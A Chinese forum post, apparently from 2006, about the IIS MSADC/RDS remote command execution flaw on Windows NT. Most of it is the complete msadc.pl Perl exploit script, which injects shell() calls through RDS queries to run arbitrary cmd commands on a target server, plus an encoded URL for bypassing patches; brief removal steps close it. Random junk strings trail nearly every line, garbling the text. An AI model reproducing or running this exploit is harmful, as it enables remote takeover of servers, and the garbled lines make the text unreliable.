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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 5^yG2&>#  
! ,@ZQS  
涉及程序: L?!$EPr  
Microsoft NT server O@s{uZ|A6  
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描述: VBM/x|'  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !2z!8kI  
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详细: eK'wVg#  
如果你没有时间读详细内容的话,就删除: yO=p3PV d  
c:\Program Files\Common Files\System\Msadc\msadcs.dll IV0[!D  
有关的安全问题就没有了。 y0<U u  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 i2*d+?Er  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 atyu/+U'}  
关于利用ODBC远程漏洞的描述,请参看: g5y;?fqJ  
ACb/ITu  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "}@i+oS  
bj}=8k0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 aVwH  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [SkKz>rC  
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这里不再论述。 kh3<V'k]  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /THnfy \  
U'y,YtF@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7d ;pvhnH  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! NG" yPn  
h*3{6X#(/  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" UQI f}iR  
h%TLD[[/jr  
#!perl ` H XEZ|  
# rQJ"&CapT  
# MSADC/RDS 'usage' (aka exploit) script ,3HcCuT  
# ,gMy@  
# by rain.forest.puppy YTQps&mD.  
# +}a C-&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me SdJ/ 4&{ !  
# beta test and find errors! 02\JzBU  
Qf xH9_  
use Socket; use Getopt::Std; g?G+dnl/8  
getopts("e:vd:h:XR", \%args); Cqx v"NN  
so+4B1$)q  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; qaVy.  
tHh HrMxO  
if (!defined $args{h} && !defined $args{R}) { l?8)6z#Zl  
print qq~ L9FHgl?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } lw[e *q{s.  
-h <host> = host you want to scan (ip or domain) (UYF%MA}"  
-d <seconds> = delay between calls, default 1 second hat>kXm2K  
-X = dump Index Server path table, if available ]|U-y6 45  
-v = verbose C4\,z\Q  
-e = external dictionary file for step 5 c|AtBgvf  
A6{b?aQ  
Or a -R will resume a command session E4i0i!<z  
l! v!hUb+  
~; exit;} FT89*C)oD  
2p!"p`b~  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; nfdq y)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} vq!uD!lr  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "i&"* ~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); rwE%G>Vb  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} LL*mgTQ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ZA(T  
U@F)2?  
if (!defined $args{R}){ $ret = &has_msadc; x\\~SGd  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} l=}~v  
'ZP)cI:+X  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #VVr"*7$  
. "cmd /c "; k2 Q qZxm!  
$in=<STDIN>; chomp $in; d s:->+o  
$command="cmd /c " . $in ; TDtAmk  
1HT_  
if (defined $args{R}) {&load; exit;} 0N:XIGFa  
hk>;pU(  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 9`Q<Yy"du  
&try_btcustmr; iK()&TNz  
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print "\nStep 2: Trying to make our own DSN..."; @b#^ -  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; OJAIaC\  
wzCUZ1N9q  
print "\nStep 3: Trying known DSNs..."; 9uk<&nqx  
&known_dsn; O,@~L$a:YZ  
,u9M<B<F  
print "\nStep 4: Trying known .mdbs..."; {eS|j=  
&known_mdb; qJ4T]FVN  
E:`v+S_h  
if (defined $args{e}){ 'x"08v$  
print "\nStep 5: Trying dictionary of DSN names..."; ^wb:C[r!V  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } LOy0hN-$b  
eYX5(`c[  
print "Sorry Charley...maybe next time?\n"; ~]C%/gEh  
exit; aGZi9O7G}  
\55VqGyxu9  
############################################################################## <^?1uzxH8A  
4NN$( S-W  
sub sendraw { # ripped and modded from whisker j=?'4sF  
sleep($delay); # it's a DoS on the server! At least on mine... vQ}6y  
my ($pstr)=@_; T:]L/wCj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || pCh2SQ(Q>  
die("Socket problems\n"); yS(}:'`r  
if(connect(S,pack "SnA4x8",2,80,$target)){ 'B5^P  
select(S); $|=1; NEt1[2X%  
print $pstr; my @in=<S>; Vwk#qgnX  
select(STDOUT); close(S); azQD>  
return @in; uj>WgU  
} else { die("Can't connect...\n"); }} 66x?A0P  
bHLT}x/Gw  
############################################################################## 'H5M|c$s  
x<Vm5j  
sub make_header { # make the HTTP request 05yZad*  
my $msadc=<<EOT 2*"Fu:a"`I  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 uiq^|5Z  
User-Agent: ACTIVEDATA -HSs^dP`  
Host: $ip -=s(l.?Hm5  
Content-Length: $clen g~V+4+  
Connection: Keep-Alive HK\~Qnq  
/~*_x=p:  
ADCClientVersion:01.06 H~ZV *[A`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^7zu<lX  
STZPYeXE  
--!ADM!ROX!YOUR!WORLD! JSh.]j<bJL  
Content-Type: application/x-varg kmzH'wktt  
Content-Length: $reqlen z'T) =ycT  
 w 4[{2  
EOT f&v9Q97=  
; $msadc=~s/\n/\r\n/g; s3 7'&K  
return $msadc;} `u>4\sv  
g&/T*L  
##############################################################################  hI9  
.bBdQpF-  
sub make_req { # make the RDS request bfo["  
my ($switch, $p1, $p2)=@_; UAoh`6vFF8  
my $req=""; my $t1, $t2, $query, $dsn; ca+5=+X7  
Ft}@ 1w5  
if ($switch==1){ # this is the btcustmr.mdb query dOa%9[  
$query="Select * from Customers where City=" . make_shell(); H":oNpfb  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . %iV^S !e  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} J!5$,%v  
(5]}5W*  
elsif ($switch==2){ # this is general make table query vWAL^?HUP  
$query="create table AZZ (B int, C varchar(10))"; "DYJ21Ut4  
$dsn="$p1";} f^W;A"+  
E>l~-PaZY  
elsif ($switch==3){ # this is general exploit table query vVOh3{e|  
$query="select * from AZZ where C=" . make_shell(); !47n[Zs  
$dsn="$p1";} |i++0BU  
s[UHe{^T  
elsif ($switch==4){ # attempt to hork file info from index server Gz .|]:1  
$query="select path from scope()"; 2}8v(%s p  
$dsn="Provider=MSIDXS;";} <)1qt 9  
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elsif ($switch==5){ # bad query S]+ :{9d  
$query="select"; ;^Dpl'v%\  
$dsn="$p1";} p, #o<W  
B_.%i+ZZ  
$t1= make_unicode($query); #\=FO>  
$t2= make_unicode($dsn); F w?[lS  
$req = "\x02\x00\x03\x00"; =E.wv  
$req.= "\x08\x00" . pack ("S1", length($t1)); \-g)T}g,I  
$req.= "\x00\x00" . $t1 ; 9H]{g*kL  
$req.= "\x08\x00" . pack ("S1", length($t2)); Zu7)gf  
$req.= "\x00\x00" . $t2 ; a |X a3E  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; CB^U6ZS  
return $req;} vam;4vyu  
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############################################################################## *WuID2cOI  
1jcouD5?H  
sub make_shell { # this makes the shell() statement 'tH_p  
return "'|shell(\"$command\")|'";} q#%xro>m  
9iQq.$A.  
############################################################################## J\b^)  
+{oG|r3L  
sub make_unicode { # quick little function to convert to unicode 5?x>9C a  
my ($in)=@_; my $out; F1yqxWHeo  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } qv!2MUw\j  
return $out;} )P sY($ &  
{N+$Q'  
############################################################################## %xI p5h]  
vQ 6^xvk]  
sub rdo_success { # checks for RDO return success (this is kludge) koug[5T5  
my (@in) = @_; my $base=content_start(@in); H*PSR  
if($in[$base]=~/multipart\/mixed/){ , K~}\CR  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} JxM]9<a=4  
return 0;} \XZ/v*d0  
Wi)_H$KII  
############################################################################## [<@.eH$hU/  
.(cw>7e3D  
sub make_dsn { # this makes a DSN for us xqu}cz  
my @drives=("c","d","e","f"); V@g'#= {r  
print "\nMaking DSN: "; g,!L$,/F  
foreach $drive (@drives) { s;ls qQk  
print "$drive: "; 0Qf,@^zL*  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . u7>],<  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" (@fHl=! Za  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); GjvOM y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #Lh;CSS  
return 0 if $2 eq "404"; # not found/doesn't exist [1Qo#w1  
if($2 eq "200") { p8Qk 'F=h  
foreach $line (@results) { 'a@/vx&J  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} V_.5b&@  
} return 0;} |ATvS2  
ia!y!_L\'  
############################################################################## u04kF^  
L>Fa^jq5  
sub verify_exists { . YAT:;L  
my ($page)=@_; TNe l/   
my @results=sendraw("GET $page HTTP/1.0\n\n"); ;n*.W|Uph  
return $results[0];} ymhtX6]  
3u+T~g0^  
############################################################################## (c=6yV@  
u}macKJmp\  
sub try_btcustmr { ^@s1Z7  
my @drives=("c","d","e","f"); dy%;W%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %K=?@M9i  
t%/&c::(6  
foreach $dir (@dirs) { rr],DGg+B]  
print "$dir -> "; # fun status so you can see progress U ]H#MiC!  
foreach $drive (@drives) { Bu~]ey1  
print "$drive: "; # ditto PR#exm&  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Fo5FNNiID  
$reqlenlen=length( "$reqlen" ); :^6y7&o[  
$clen= 206 + $reqlenlen + $reqlen; [ )Iv^ U9  
l *(8i ^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); &N^9JxN?8  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} c<B/V0]  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} _7Ju  
qd ~BnR$=  
############################################################################## qZ}^;)a^  
JzQ_{J`k  
sub odbc_error { t6 "%3#s  
my (@in)=@_; my $base; 'urafE4M  
my $base = content_start(@in); \h/H#j ZJ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this v!~fs)cdE|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S%;O+eFYb  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *SJ_z(CZm  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {I%cx Q#y  
return $in[$base+4].$in[$base+5].$in[$base+6];} nV|EQs4(  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; o q Xg  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {BN#h[#B{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} )hsgC'H{~]  
hR?{3d#x2  
############################################################################## ~g]Vw4pv  
 ~^:A{/  
sub verbose { gh]cXuph  
my ($in)=@_; BA:VPTZq  
return if !$verbose; n:?a$Ldgm  
print STDOUT "\n$in\n";} Qz1E 2yJ  
Q~ w|#  
############################################################################## YoNDf39  
-$ls(oot  
sub save { Gx/Oi)&/  
my ($p1, $p2, $p3, $p4)=@_; 6@5+m 0`u3  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; q6luUx,@m  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; L,/%f<wd  
close OUT;} m=:9+z  
P/eeC"  
############################################################################## jvL[ JI,b  
lTgjq:mn  
sub load { -uG +BraI  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; \!ZTL1b8t  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); QA`sx  
@p=<IN>; close(IN); j</: WRA`]  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); BX7kO0j  
$target= inet_aton($ip) || die("inet_aton problems"); E{`fF8]K  
print "Resuming to $ip ..."; IOmfF[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]w8(&,PP  
if($p[1]==1) { uw_Y\F-$  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^6V[=!& H  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; .Yn_*L+4*  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); oD .Cs'  
if (rdo_success(@results)){print "Success!\n";} ##>H&,Dp[  
else { print "failed\n"; verbose(odbc_error(@results));}} 0S!K{xyR  
elsif ($p[1]==3){ u&7[n_  
if(run_query("$p[3]")){ fIU#M]Xx  
print "Success!\n";} else { print "failed\n"; }} V U3upy<  
elsif ($p[1]==4){ YU'E@t5  
if(run_query($drvst . "$p[3]")){ %7.30CA|#  
print "Success!\n"; } else { print "failed\n"; }} VpDbHAg  
exit;} \_f(M|  
'\iCP1>+S  
############################################################################## "+G8d' %YV  
E ~<JC"]  
sub create_table { 9rf)gU3{+L  
my ($in)=@_; )jP1or  
$reqlen=length( make_req(2,$in,"") ) - 28; 2FJ*f/  
$reqlenlen=length( "$reqlen" ); H**Xu;/5@  
$clen= 206 + $reqlenlen + $reqlen; /a4{?? #e  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1mG-}  
return 1 if rdo_success(@results); [7Oe3=  
my $temp= odbc_error(@results); verbose($temp); /PIcqg  
return 1 if $temp=~/Table 'AZZ' already exists/; cVF "!.  
return 0;} +23x ev  
~Mxvq9vaD  
############################################################################## SwMc pNo  
ISvpQ 3{)s  
sub known_dsn { t b}V5VH  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go X'iWJ8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Sdryol<  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", k9L;!TH~1K  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /%^#8<=|U  
a&? :P1$  
foreach $dSn (@dsns) { >4CbwwMA  
print "."; eJ-nKkg~a  
next if (!is_access("DSN=$dSn")); 9G2FsM|,  
if(create_table("DSN=$dSn")){ Nj/ x. X  
print "$dSn successful\n"; N;`n@9BF  
if(run_query("DSN=$dSn")){ EADqC>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x[e<} 8'$(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} A.w.rVDD  
sFRQe]zCcP  
############################################################################## 4j^ @wV'  
vnuN6M{  
sub is_access { & 1f+,  
my ($in)=@_; j#4kY R{  
$reqlen=length( make_req(5,$in,"") ) - 28; |2A:eI8 ^  
$reqlenlen=length( "$reqlen" ); pMM8-R'W-  
$clen= 206 + $reqlenlen + $reqlen; $[ *w"iQ  
my @results=sendraw(make_header() . make_req(5,$in,"")); 4#Jg9o   
my $temp= odbc_error(@results); &$H!@@09|w  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a d\ot#V  
return 0;} 1< ?4\?j  
VUuE T  
############################################################################## '~ 47)fN  
@2i9n  
sub run_query { ~wdGd+ez  
my ($in)=@_; M"L=L5OH-  
$reqlen=length( make_req(3,$in,"") ) - 28; 1|=A*T-<M  
$reqlenlen=length( "$reqlen" ); Q+{n-? :  
$clen= 206 + $reqlenlen + $reqlen; Q/Rqa5LI:  
my @results=sendraw(make_header() . make_req(3,$in,"")); #5uOx(>  
return 1 if rdo_success(@results); Q,Eo mt  
my $temp= odbc_error(@results); verbose($temp); -yg7;ff  
return 0;} t6t!t*jO  
3OB"#Ap8<  
############################################################################## ;kKyksxlD  
7t3!) a|lI  
sub known_mdb { x?<FJ"8"k  
my @drives=("c","d","e","f","g"); lEBLZ}}\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7xR\kL.,  
my $dir, $drive, $mdb; NxILRKwO  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |V(0GB  
vih9 KBT  
# this is sparse, because I don't know of many fN2lLn9/u  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Gq P5Kx+=  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2`-Bs  
"\\system32\\certmdb.mdb", :23P!^Y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% W@esITr  
ugBCBr  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7|H$ /]  
"\\cfusion\\cfapps\\forums\\forums_.mdb", #0<XNLM  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", z(~_AN M4,  
"\\cfusion\\cfapps\\security\\realm_.mdb", pK4)yu+  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", [N'h%1]\  
"\\cfusion\\database\\cfexamples.mdb", Alq(QDs  
"\\cfusion\\database\\cfsnippets.mdb", Fj!U|l\_9  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", y)<q /  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", v` r:=K  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (-co.  
"\\cfusion\\database\\smpolicy.mdb", 4&iCht =  
"\\cfusion\\database\cypress.mdb", dF2RH)Ud  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `0R./|bv\I  
"\\website\\cgi-win\\dbsample.mdb", E(|>Ddv B&  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", c*M} N?|6  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %jM,W}2  
); #these are just i@'dH3-kO  
foreach $drive (@drives) { T8NxJmYqB  
foreach $dir (@dirs){ )pn3~t<e d  
foreach $mdb (@sysmdbs) { Ir]\|t  
print "."; p b,. r  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 'B}qZCy W  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; WEpoBP CL  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ IGN1gs  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; PI<vxjOK`  
} else { print "Something's borked. Use verbose next time\n"; }}}}} !!y a  
wQLSf{2  
foreach $drive (@drives) { 1:wQ.T  
foreach $mdb (@mdbs) { {>;R?TG]$  
print "."; ItCv.yv35  
if(create_table($drv . $drive . $dir . $mdb)){ @ .KGfNu  
print "\n" . $drive . $dir . $mdb . " successful\n"; O H7FkR  
if(run_query($drv . $drive . $dir . $mdb)){ ctV,Q3'Z  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; I 2DpRMy  
} else { print "Something's borked. Use verbose next time\n"; }}}} (iGTACoF  
} 3M=  
.sA.C] f  
############################################################################## BORA(,  
w=@Dv  
sub hork_idx { SY8C4vb'h  
print "\nAttempting to dump Index Server tables...\n"; @|)Z"m7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5(8@%6>ruj  
$reqlen=length( make_req(4,"","") ) - 28; aN=B]{!  
$reqlenlen=length( "$reqlen" ); F<w/PMb  
$clen= 206 + $reqlenlen + $reqlen; bjS {(  
my @results=sendraw2(make_header() . make_req(4,"","")); /Q )\+  
if (rdo_success(@results)){ O1kl70,`R  
my $max=@results; my $c; my %d; =qIyqbXz  
for($c=19; $c<$max; $c++){ "*H`HRi4T  
$results[$c]=~s/\x00//g; yppo6HGD  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 5M_H NWi4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; %K QQ,{ b  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [8*)8jP3  
$d{"$1$2"}="";} -{+}@?  
foreach $c (keys %d){ print "$c\n"; } *9i{,I@  
} else {print "Index server doesn't seem to be installed.\n"; }} PxE3K-S)G  
} d }lR  
############################################################################## v9UD%@tZ  
abEmRJTmW  
sub dsn_dict { l NBL4yM  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8x{'@WCG%  
while(<IN>){  7[wieYj{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; m#F`] {  
next if (!is_access("DSN=$dSn")); k$7Jj-+~  
if(create_table("DSN=$dSn")){ o8vug$=Z  
print "$dSn successful\n"; cs'{5!i]  
if(run_query("DSN=$dSn")){ YgoBHE0#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Hq 188<  
print "Something's borked. Use verbose next time\n";}}} Xs?o{]Fe  
print "\n"; close(IN);} :,I:usW"  
$tS}LN_!  
############################################################################## ?pZOeqqu$  
/H==Hm/  
sub sendraw2 { # ripped and modded from whisker PiYxk+N  
sleep($delay); # it's a DoS on the server! At least on mine... C>w|a  
my ($pstr)=@_; alvrh'51  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || vZoaT|3 G]  
die("Socket problems\n"); veh<R]U  
if(connect(S,pack "SnA4x8",2,80,$target)){ "w.3Q96r  
print "Connected. Getting data"; xZv#Es%#  
open(OUT,">raw.out"); my @in; YUIi;  
select(S); $|=1; print $pstr; t`mV\)fa  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 8ITdSg  
close(OUT); select(STDOUT); close(S); return @in; C73 kJa  
} else { die("Can't connect...\n"); }} <A'$%`6m  
k)Qtfj}uij  
############################################################################## ^ovR7+V  
{> 0wiH#!E  
sub content_start { # this will take in the server headers Z/;aT -N  
my (@in)=@_; my $c; (*)hD(C5  
for ($c=1;$c<500;$c++) { 5o8EC" 0  
if($in[$c] =~/^\x0d\x0a/){ {,~3.5u   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } H DFOA  
else { return $c+1; }}} [1 9,&]z  
return -1;} # it should never get here actually .h4 \Y A  
sp*v?5lW  
############################################################################## NPe%F+X  
s}% M4  
sub funky { nQ,HMXj  
my (@in)=@_; my $error=odbc_error(@in); H}bJ"(9$vC  
if($error=~/ADO could not find the specified provider/){ :A'y+MnK<  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; J6FV]Gpv  
exit;} kq,ucU%>p  
if($error=~/A Handler is required/){ KNIn:K^/  
print "\nServer has custom handler filters (they most likely are patched)\n"; s6^>F/x  
exit;} V /V9B2.$  
if($error=~/specified Handler has denied Access/){  O+Y6N  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9c :cw  
exit;}} ^qD$z=z-  
(c &mCJN  
############################################################################## v<(  
6MMOf\   
sub has_msadc { I75DUJqy]  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); EGF '"L  
my $base=content_start(@results); Y^EcQzLw  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); wyO4Y  
return 0;} orMwAV  
D!-g&HBTC  
########################  DwE[D]7o  
_C[q4?  
PKg@[<g43  
解决方案: XG{zlOD+  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ]R f[y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 8ek@: Mw  
Eq9x2  
拿出来充数 哈哈
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